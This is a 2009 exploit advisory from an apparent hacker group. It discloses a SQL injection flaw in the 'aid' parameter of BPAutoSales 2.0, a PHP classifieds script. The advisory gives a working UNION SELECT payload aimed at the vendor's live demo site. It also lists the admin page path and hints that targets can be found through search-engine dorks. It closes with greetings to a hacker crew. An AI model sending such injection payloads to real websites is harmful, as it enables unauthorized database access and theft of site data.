[x]========================================================================================================================================[x] | AntiSecurity[dot]org | [x]========================================================================================================================================[x] | Title : BPAutoSales 2.0 Remote SQL Injection Vulnerabilities | | Software : BPAutosales | | Vendor : http://bpowerhouse.info | | Date : 22 September 2009 ( Indonesia ) | | Author : OoN_Boy | | Contact : oon.boy9@gmail.com | | Web : http://oonboy.info | | Blog : http://oonboy.blogspot.com | [x]========================================================================================================================================[x] | Technology : PHP | | Database : MySQL | | Version : 2.0 | | License : GNU GPL | | Price : $48.89 | | Description : is a powerful, highly customizable classifieds script for auto sales sites. It is written in PHP with MySQL. | | Due to its easy manageable interface and its great amount of features it is an excellent choice if you need | | a cars, boats, or motorcycles classifieds website. | [x]========================================================================================================================================[x] | Google Dork : cari sendiri yah :) | [x]========================================================================================================================================[x] | Exploit : http://localhost/[path]/index.php?cmd=advertise_details&category=car&aid=[sql] | | Aadmin Page : http://localhost/[path]/admin/index.php | [x]========================================================================================================================================[x] | Proof of concept : http://www.bpowerhouse.com/demos/autosales/index.php?cmd=advertise_details&category=car&aid=-89+union+select+1,2, | | 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,version()-- | [x]========================================================================================================================================[x] | Greetz : antisecurity.org batamhacker.or.id | | Vrs-hCk NoGe Paman zxvf Angela Zhang aJe H312Y yooogy mousekill }^-^{ martfella noname s4va | | k1tk4t str0ke kaka11 ^s0n g0ku^ Joe Chawanua Ntc xx_user s3t4n IrcMafia em|nem Pandoe Ronny rere | [x]========================================================================================================================================[x] | Note : Selamat hariraya idul fitri mohon maaf lahir dan batin, maafin kesalahan ku selama ini yah all :) | | kabur.... untuk sementara waktu.... bye bye..... | [x]========================================================================================================================================[x]